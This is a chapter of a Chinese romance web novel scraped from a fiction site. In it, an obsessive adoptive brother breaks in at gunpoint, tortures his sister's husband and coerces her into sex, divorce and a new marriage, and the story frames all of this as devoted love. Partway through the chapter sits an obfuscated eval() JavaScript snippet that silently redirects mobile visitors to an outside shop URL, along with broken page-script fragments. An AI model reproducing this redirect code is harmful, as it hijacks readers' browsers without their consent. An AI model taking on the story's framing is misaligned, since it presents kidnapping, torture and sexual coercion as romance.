文趣网 > 其他小说 > 哥哥是偏执狂 > 1. 强制
    许月晓提着一个小蛋糕走在巷子中。

    今天是她和陆屿的一周年结婚纪念日,该有的仪式感还是要有的。

    快到家门时,许月晓想要按密码锁的手猛然顿住。

    门锁破了一个大洞。

    显然来访之人暴怒到极点,用枪强行破开的。

    一股寒意从她背后升起:是他吗?是他找到自己了?

    许月晓推开屋门,一股刺鼻的血腥味涌入鼻腔。

    她的老公陆屿被一男人踩下脚下逼跪着,男人慵懒地倚在沙发上,沙发旁是几个魁梧的保镖,指节上都戴着指虎。

    地上散落着几颗陆屿被打掉的牙齿,鲜血淋漓。

    而此时此刻,用枪抵着她老公陆屿的,是她的哥哥,谢越州。

    坐在沙发上的男人面容清隽矜贵,一半泰国血统的谢越州,眉眼深邃,鼻梁高挺利落,一双棕瞳宛若琥珀,俊美得极具侵略感。

    他的颈侧,纹着泰语刺青,“月”。

    “放开他。”许月晓语声平静。

    “三年没见,妹妹一见到我,就只想和我说这个?”

    谢越州噙着一抹阴恻的笑意,脚下用力,陆屿一下子被踩到狼狈地趴伏在地。

    一尘不染的皮鞋,不紧不慢地碾压着陆屿的头,眼球几乎都要被他踩脱落。

    谢越州扬扬下巴,身后几个黑衣保镖会意,从许月晓手中夺过那蛋糕。

    粉色的小蛋糕,上面用奶油写着“结婚一周年快乐,爱你”。

    谢越州接过蛋糕,饶有兴趣地打量了会儿,用食指挖了一点奶油舔去:“许月晓,你给你老公选的蛋糕,味道不错。”

    他的表情看不出喜怒,只慢条斯理点燃了蛋糕上插着的蜡烛,接着狠狠砸到了陆屿脸上。

    “啊!”

    陆屿的面颊被火灼烧下,剧痛刺骨,忍不住溢出痛苦的哀嚎,可刚一喊出声,那几个指节带指虎的打手就对他拳脚相加。

    下手狠戾,毫不留情。

    看到许月晓脸上立刻涌起对陆屿的心疼,谢越州心中的痛意如同丛生的荆棘,密密麻麻蔓延至四肢百骸。

    深入骨缝的痛,痛到快把他逼疯。

    谢越州进屋之前,本以为自己会一枪把陆屿当场了结,可他现在却莫名又出奇的冷静。

    谢越州紧紧盯着眼前让他爱恨到极致的女人。

    眼睛应该做了近视手术,摘掉了原来一直戴着的眼镜。

    瘦了很多,脸上的青春痘没了,肌肤很是细腻,白嫩得随便碰下就会起红印,头发也留长了不少,还染了栗色,几缕发丝垂挂在胸前,随着她紧张的呼吸起伏着。

    二十一岁的她,青涩中带着娇媚,散发着不自知的诱惑。

    他的乖妹妹,不再是三年前那土土的、说话还带着口音的木头,已经出落的如此勾人。

    很好。

    这副诱人的模样,又不经世事那么单纯,怪不得被别的野男人缠上。

    他放在心尖上的妹妹,他曾里里外外都占有过的女人,就这样被别的男人诱哄着,在年仅20岁时结了婚,还同居了一年。

    “许月晓,和他睡过没有?几次?”

    “哥哥,我已经结婚了……”

    许月晓没有再说下去,因为谢越州已经把一颗颗子弹顶上膛,抵住陆屿的眉心。

    “是不是陆屿他逼迫你?许月晓,不要怕,告诉哥哥实话。”

    许月晓紧抿着唇一言不发。

    江恪站在一旁低着头,目光触及自家少爷手上的伤,无声地叹了口气——

    打听到许月晓行踪时,本在俄罗斯参加一场重要会议的谢越州,直接当天就订了最快的机票回国。江恪把资料递给谢越州时,他的手都止不住地微微颤抖着。

    可后来,谢越州越往后翻阅,脸色越差。

    资料上,赫然是一张张许月晓和大学同学陆屿约会时的照片。

    照片中的许月晓,头倚靠在陆屿肩头一起看着新年的烟花,笑容明媚灿烂,很是幸福的热恋中情侣模样。

    如果江恪没有记错的话,那时,应该是谢越州状态最差的时候。

    翻遍虞城找不到许月晓行踪的他,彻底陷入了绝望的崩溃,期间还被医务打了数次镇定。

    终于,谢越州在看到许月晓一到法定结婚年纪,在年仅二十岁就和陆屿结了婚时,一向沉敛自持的谢越州盛怒攻心下,险些要砸毁整间办公室,但瞥见许月晓留下的旧物,又硬是收回手。

    自从许月晓消失后,她留下的旧物都被谢越州一一珍藏在这间屋子里。其实也都是些再普通不过的物件:黑色发绳、她念高中时的笔记本、她用过的杯子……

    如同抚摸爱人的胴体,他指尖轻掠过许月晓的旧物。

    男人摩挲杯沿片刻,终是克制不住把她曾用过的玻璃杯掷到那张刺眼的结婚照上。

    见谢越州手被碎渣割出不少伤口,江恪本想喊私人医务给他包扎,却被他扬手示意不用。

    谢越州弯腰拾起那张沾着自己手上血迹的结婚照,照片上的两个人笑意安然。他阴戾地攥着照片,声音冷得像淬了毒:“带好枪,再调几个人,明天我要去岷伦洛区把小晓接回来。”

    思绪被拉回,江恪看着对峙的兄妹二人,忍不住又无奈叹气。

    “妹妹,想救他吗?”

    谢越州用枪顶了顶陆屿的额,笑得散漫而又疯戾:“给你两个选择。第一,和他离婚。”

    许月晓站着不为所动。

    男人琥珀色的棕瞳盛满近乎毁灭的怒意,额角青筋隐隐暴起。

    抬脚,谢越州踹开已经昏死过去的陆屿,吩咐江恪:“继续,拿枪抵住他的头。”

    谢越州一步步走向了许月晓。

    他撩起许月晓胸前的发丝,眼神是毫不避讳的男人欲望。

    谢越州在她手中塞了几个方正的小包装:“第二,看你今晚能和我用掉几个。”

    见许月晓垂在身侧的手捏紧成拳,俨然一副厌恶隐忍的模样,谢越州倏而冷笑道:

    “不然不戴好了。”

    许月晓猝然抬头,不可置信地瞪着他。

    “许月晓,你当年敢跑不就是没有在乎的人吗?明天我给你办理休学,书你也不用再念,反正妹妹也不是来正经读书的,大学还没毕业就敢和野男人又是结婚又是同居,这次我让你有个孩子,你有了牵挂也不会再跑。”

    “在乎的人?”

    许月晓盯着已经陷入疯狂的谢越州。

    她走进卧室,从抽屉中取出一纸化验单。

    “谢越州,你是说这个吗?”

    谢越州怔怔地接过那张单子,上面的字刺的他几乎站不稳。

    纸上写着“手术记录”,日期是三年前的盛夏。字迹有些洇开,像是被人反复摩挲过,又像是被什么水渍打湿过。

    诊断栏里写的是“早孕”,后面跟着一个冰冷的日期,再往后,是“终止妊娠”。

    他的小晓,居然在三年前就有过他们的孩子。

    许月晓背过身苦涩一笑,装作无所谓般说着:

    “我当时可能是年纪太小了,才十八岁,也是傻到极点,你那样对我,我居然还想着生下孩子。不过万幸的是,我后来得知,你还是和宋溪绣在一起了……”

    “谢越州,我自然是不会像我妈妈那样做出带球上位的事,如逼迫谢叔叔一般,来逼你做出选择。”

    许月晓知道自己现在笑的应该比哭还难看。

    “所以,我就去堕了。”

    苦痛的记忆席卷而来,眼泪止不住地滴落,她似乎这一辈子都要困在那段伤痛里,再也走不出来。

    方才盘踞心底的妒火与暴戾,在听见许月晓哽咽的一瞬尽数溃散。胸腔像是被一只无形的手死死攥住,闷得谢越州喘不上气,只剩尖锐的心疼。

    在他的记忆里,许月晓总是很胆小,可她当年得知他在泰国受伤后,从未出过远门的许月晓,却瞒着家人偷偷买了出国的机票,只身一人去朱拉隆功大学找他,就为见他谢越州一面。

    在他的记忆里,许月晓也很怕疼还晕血,高中体检抽血那次,针还没碰到她就白了嘴唇。

    可那样胆小怕疼的许月晓,却孤身一人在异国他乡,一个人上了手术台,流掉了他们的孩子。

    巨大的悔恨与剜心般的痛苦瞬间将他吞噬。

    谢越州终于意识到,他不仅失去了他们的第一个孩子,他更失去了曾全心全意爱着他的许月晓。

    她会和另一个男人相守白头,或许还会再次迎来一个可爱的孩子,拥有平淡却温热的俗世圆满。

    然而这一切,都将与他谢越州无关。

    他和许月晓再也回不到当初。

    许月晓不要他了。

    他是真的彻底失去了她。

    谢越州一时接受不了这个事实,大脑一片空白,一直握着的枪陡然失手掉落地,发出沉闷的声响。

    许月晓将那张单子又捡起叠好,紧紧攥在手中。

    “谢越州,如果你觉得当年照片的事情对我的打击还不够,现在觉得够了吗?够偿还你妈妈的死了吗!够偿还我对宋溪绣的伤害了吗?”

    许月晓质问完,突然觉得眼前一切变得扭曲模糊,心脏跳动的厉害,冷汗止不住滑落,身体不受控地往地上瘫去。

    “小晓!”谢越州呼吸一窒,连忙扶住她。

    “药……药……”许月晓虚弱地指了指口袋。

    她抑郁躯体化发作了,已经一丝力气都没有。

    “放过我吧,你有宋溪绣,我也有了陆屿,我离不开他。”她轻声说着,挣扎着就要从谢越州怀里离开。

    可许月晓的腰又被按住,重新回到了他怀中。

    “没有宋溪绣,自始至终,从来都只有你一个。小晓,求你别离开我……”男人的手臂牢牢圈住她,仿佛要将他们融为一体。

    不顾许月晓的挣扎,谢越州打横抱起她就往外走,身后的几个保镖也立刻跟了上来。

    阔别三年,他终于再次把许月晓抱在了怀中。

    谢越州低头覆上许月晓的唇,将她余下的话语尽数堵回唇齿之间:“哥哥带你回家,小晓。”

    “州哥,陆屿怎么处置?”江恪问。

    谢越州脚步一顿,抱着许月晓的手紧了紧:“先一起带走。”

    虽然谢越州不愿意承认,但理智告诉他,也许能利用陆屿让小晓再度留在自己身边……

    私人飞机在一处庄园处降落。谢越州看着吃了药已经陷入昏睡的许月晓,执起她的手贴于自己的面颊。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912843|213200||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    当亲情与爱情融合,就是至死都不会放手的占有欲和执念。

    恋恋不舍地为许月晓掖好被角后,谢越州离开前刚回身迈出一步就又舍不得了,只不过回头看了她一眼,就忍不住又疾步折返。

    俯身,他吻上她的唇瓣,一如即往的甜美。

    鼻息间是她身体熟悉的馨香,谢越州撬开她的唇齿,勾上柔软的小舌温柔地吮吸着。

    随着黏腻的津液交缠声越来越响,谢越州感到腹部一紧,只得深吸一口气,放开了一直紧紧桎梏在许月晓腰间的手。

    纤细的腰肢,一如当年,两掌就能并握住,曾给过他极致的愉悦和享受。

    那陆屿呢,也如此过吗?

    眼前仿佛出现了许月晓与陆屿缠绵时的一幕幕。

    嫉妒、怨恨、痛苦、不甘、愧疚……

    谢越州生生忍住剁了陆屿手的暴戾念头,掀开被子,躺在许月晓身边。

    他轻拍着她的背哄她入睡。

    就像当年他们还亲如兄妹时那样。

    *

    凌晨两点半,谢越州松开一直抱着许月晓的手。

    只有她在身旁,他才能睡的如此安稳。许月晓消失的这几年,他都要靠服用安眠药才能入睡。

    将房间监控调好,又确认了屋子里没有尖锐物品后,谢越州轻手轻脚地离了卧室。

    另一处密闭的小房间里,陆屿已经被打到不成人样。

    可一桶桶冰水还是毫不留情地泼到他身上。

    陆屿费力地睁开眼——

    谢越州指尖夹着一根烟,颀长的腿随意地搁在茶几上,碎发下的眼布满红血丝,满是阴郁。

    看到谢越州墨色衬衫的纽扣解了几颗,意识到他应该是刚从床上过来,陆屿恨恨地吐出一口血:“畜生!”

    谢越州轻笑,烟雾缭绕中,他也眯着眼打量着陆屿。

    许月晓为什么会看上陆屿这等平庸的男人?

    明明当年,她曾无比乖顺地窝在自己怀中,怯怯地对他说“哥哥,我不会轻易步入婚姻的”。

    谢越州当时知道许月晓什么意思,是想等他一句承诺,是想和他好好的在一起。

    可他却肆意挥霍了她的爱意。

    谢越州烦躁地吞云吐雾,夹着烟的手止不住颤抖,烟灰不断地落在他的西裤上。

    自己当年可真是个混蛋,畜生。

    陆屿冷冷地盯着谢越州手臂上密密麻麻的细小伤口,忍着肋骨断裂的痛嘲讽他:

    “怎么,把小晓不堪入目的照片散播出去时不心疼,知道她已经结婚根本不爱你了,心疼了?难受了?”

    烟雾漫开,谢越州又燃起一支烟:“我没有拍过小晓的照片,更没有散播。”

    “你算个男人吗谢越州?敢做不敢当?当年照片事件不是你一手策划的,还能是谁?”

    眼前的男人只手遮天、手段狠辣,可陆屿此时心中并无惧怕,更多的是对许月晓的心疼。陆屿愤怒地质问:

    “小晓当时年纪那么小,她什么都不懂,是谢越州你这个烂人蓄意引诱她,践踏她的真心!她做错什么了!”

    陆屿绝望地嘶吼着,嗓音一点点哑了下去,泪水顺着脸颊落下:“谢越州,你知不知道,小晓流产后患上了抑郁,几次想自杀……谢越州你当时在做什么!你在忙着心疼宋溪绣吧!”

    “你陆屿又算个什么东西,敢抢我女人?”谢越州掐灭烟蒂,声线冷淡中带着轻蔑,“在你和小晓还是高中同学时,我就警告过你,在接近我妹妹前,先掂量清楚自己配不配。”

    他大步过来揪住陆屿的衣领,扬起的拳头却僵在半空中。

    许月晓不知什么时候来到了房门口,她用黑洞洞的枪口对准谢越州——

    “哥哥,放了我老公陆屿。”

    她唇瓣干涩,眼中浮起哀婉的水雾。

    当年在床上被他欺负狠了时,许月晓眼睛也是湿漉漉的,楚楚可怜的模样。不过不同的是,许月晓此刻的眼泪,不是为他谢越州,是为另一个男人而流。

    好一对苦命鸳鸯。

    谢越州咬着牙一字一句说道:“许月晓,我给你最后一次机会,放下枪,回房间去……”

    许月晓并没给他把话说完的机会。

    “砰”的一声震响,酒瓶应声碎裂,红酒淌落满地,艳红似鲜血。

    如果不是江恪及时从许月晓手中夺过枪,只差分毫,子弹便会贯穿谢越州的胸膛,让他当场殒命。

    为了陆屿,许月晓是真的想要他谢越州死。

    “许月晓,枪法不准啊,哥哥教你。”

    谢越州扯下自己的领带堵住陆屿的嘴,在许月晓惊恐的目光中,攥住她的手,强行逼她握紧枪,接着对准了陆屿的太阳穴。

    他手上用力,陆屿的皮肉都被枪口按的凹陷下去。

    “哥哥,求你,放了陆屿,不要伤害他……”

    许月晓流着泪不住地哀求。

    “和不和陆屿离婚?”谢越州握着她的手扣动扳机,在陆屿身旁落下一枪。

    “离。”

    谢越州满意地吻去她的泪水。

    “还会不会离开我?”

    “不会。”

    “小晓,回去我们就结婚好不好?”

    “好……”